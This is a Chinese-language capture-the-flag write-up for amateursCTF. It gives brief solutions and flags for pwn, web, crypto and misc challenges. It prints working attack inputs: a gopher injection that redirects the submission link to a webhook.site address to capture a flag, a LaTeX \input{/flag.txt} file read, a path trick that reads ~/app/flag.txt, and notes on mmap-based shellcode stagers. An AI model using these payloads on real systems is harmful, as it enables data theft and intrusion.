第一版写好printer是142字节,继续减小
然后就有了code1.asm
但是还是不够,参考一篇神奇的文章,但还是不够,还有90字节
晚上关了电脑突然想到:诶你说我要是mmap
一块RWX内存然后read stdin不就能解决了
于是就有了现在的版本
通过mmap2
映射4K内存然后读取stdin(fd 0)然后JMP
stage2.asm
是第二阶段的读取文件的源代码,这里可以有255字节,再也不用担心不够小了
甚至还贴心的加上了exit
code1.asm
:没压下去的版本code2.asm
:测试syscall,因为压缩过ELF头的GDB和LLDB都识别不了code3.asm
:另一个人给的,但是我本地测试时SIGSEGV
amateursCTF{d1d_i_f0rg3t_t0_p4tch_32b1t_b1naries_t00!!!}
pwn/simpleOS
flag在img的0x6f200,即889扇区处,串口输出的first availible sector: 945
说明,fs.relative == 945
此时make file只会在flag之后make,不可能make到flag,而disk里的file是不能open file打开的
这个shell约等于废物,只能做数学计算和mov
那就跳过去
web/uwuctf
你说的对,我没了/
没了..
没了./
我还是可以home啊
我就说怎么Dockerfile里面别的题目都是塞进/srv/
里面这个塞进/home/node/
里面
https://uwuasaservice.amt.rs/uwuify?src=~/app/flag.txt
然后想办法解uwuify
amateuwsctf{so_wmao_this_fwag_is_gonna_be_a_wot_wongew_than_most_fwag_othew_fwags_good_wuck_have_fun_decoding_it_end_of_fwag}
然后要de-uwuify
amateursCTF{so_lmao_this_flag_is_gonna_be_a_lot_longer_than_most_flag_other_flags_good_luck_have_fun_decoding_it_end_of_flag}
好,看这样子解出来了,起码这个flag是符合英语部分语法的((至少没有奇怪的数字和大小写混杂
web/go-gopher
这题是注入,参考RFC 1436
用nc连一下
/m/s/w/A/w/go-gopher $ nc amt.rs 31290
1/submit/player
iWelcome to the flag submitter! error.host 1
iPlease submit all your flags! error.host 1
1Submit flags here! /submit/user :: 7000
0Get me more flags lackeys!! URL:https://ctf.amateurs.team/ :: 7000
1Nice gopher proxy / gopher.floodgap.com 70
.
/m/s/w/A/w/go-gopher [SIGINT]$ nc amt.rs 31290
/submit/player
iHello player error.host 1
iPlease send a post request containing your flag at the server down below. error.host 1
0Submit here! (gopher doesn't have forms D:) URL:http://amt.rs/gophers-catcher-not-in-scope error.host 1
.
先用webhook.site造个webhook
可以看到,非常简单的注入,就能让第三项变为我们的webhook
player error.host 1
iText error.host 1
0Submit here! URL:http://webhook.site/a59b6079-5fc7-41de-a22e-0ad3a1d10e5a error.host 1
iText1
gopher://amt.rs:31290/1/submit/player%2509%2509error%252Ehost%25091%250AiText%2509%2509error%252Ehost%25091%250A0Submit%2520here%2521%2509URL%253Ahttp%253A%252F%252Fwebhook%252Esite%252Fa59b6079%252D5fc7%252D41de%252Da22e%252D0ad3a1d10e5a%2509error%252Ehost%25091%250AiText1
注意要URL encode两次,用TAB
amateursCTF{wh0_s@ys_goph3r_i5nt_web?}
web/gophers-revenge
限制了域名是amt.rs,找一下challenges,是配合web/cps remastered的服务器一起用的
是通过随机username和flag作为密码
这很简单,因为cps remastered会显示密码
player error.host 1
iText error.host 1
0Submit here! URL:https://cps.amt.rs/register.php error.host 1
iText1
gopher://amt.rs:31290/1/submit/player%2509%2509error%252Ehost%25091%250AiText%2509%2509error%252Ehost%25091%250A0Submit%2520here%2521%2509URL%253Ahttps%253A%252F%252Fcps%252Eamt%252Ers%252Fregister%252Ephp%25091%250AiText1
Thanks for sending in a flag! Use the following token once i get the gopher-catcher frontend setup: 04999857a4147d47f993828d2976bfeb
welcome, 08667. your password is amateursCTF{ye5._ h1s_1s_g0pher_h3ll}. log out
但是提交不上去
amateursCTF{ye5._ h1s_1s_g0pher_h3ll}
amateursCTF{ye5._ h1s_1s_g0pher_h3ll} is not the right flag but the contents of flag.txt is the flag
试一下,有可能是flag.txt的内容被URL Encode过,坑是:{}
没有被encode
amateursCTF{ye5._+h1s_1s_g0pher_h3ll}
crypto/You get extra information 2
amateursCTF{omg_it's_my_favorite_epic_thing_where_it_looks_like_a_binomial!!}
离大谱的,直接z3solver解出来
pwn/hex-converter-2
可以看到ghidra的分析
栈是这样的
高地址 -> i
-> name
-> flag
-> 低地址
一样存在gets
溢出,但是只能溢出到i
以及i < 1
会停止,但是while里面是先打印再检查啊,那就算一次一个字符咱也能做出来啊
于是写solve,一次dump一个字符,虽然nc
会有点慢
u1s1,这次ctf刚开始学用pwntools,真的好好用,能省不少事
amateursCTF{an0ther_e4sier_0ne_t0_offset_unvariant_while_l00p}
web/latek
reference to the official writeup of USTC Hackergame 2022
\documentclass{article}
\begin{document}
$$\input{/flag.txt}$$
Hello
\end{document}
amateursCTF{th3_l0w_budg3t_and_n0_1nstanc3ing_caus3d_us_t0_n0t_all0w_rc3_sadly}
misc/Survey
amateursCTF{surv3ys_h3lp_us_impr0v3_futur3_c0mp3tit1ons}
总结
学到了好多东西
又一次使用了x86汇编,知道了
ENDBR64
知道x86下,执行隐含可读
实践了栈溢出
了解了一点tcachebin
了解了py的
chr
、ord
和vars
用了下
pycdc
第一次有意义地使用OpenSCAD
学会了如何写超小的ELF
原来
mmap
可以用来分配内存安装了zig
gopher好玩
用了z3-solver、pwntools
AVX Masked-Load侧信道攻击
奇奇怪怪的东西
比赛中途有人提前公布了crypto/You get extra information {1,2}的script
比赛结束前一小时才有人做出guessctf
官方题解.webp:
其他Writeup
从别人的Writeup学到的
- py
marshal.dump
可以直接dump code - 直接往shell塞\x00可以使后面的pipe不被处理
window.xxx
可以直接按ID获取- linux可以mmap的最低线性内存地址由
vm.mmap_min_addr
sysctl决定 - AVX Masked-Load侧信道攻击
write
syscall提供无效地址只会返回错误而不会SIGSEGVwrite
syscall提供一半有效一半无效的范围时只会打印有效的地址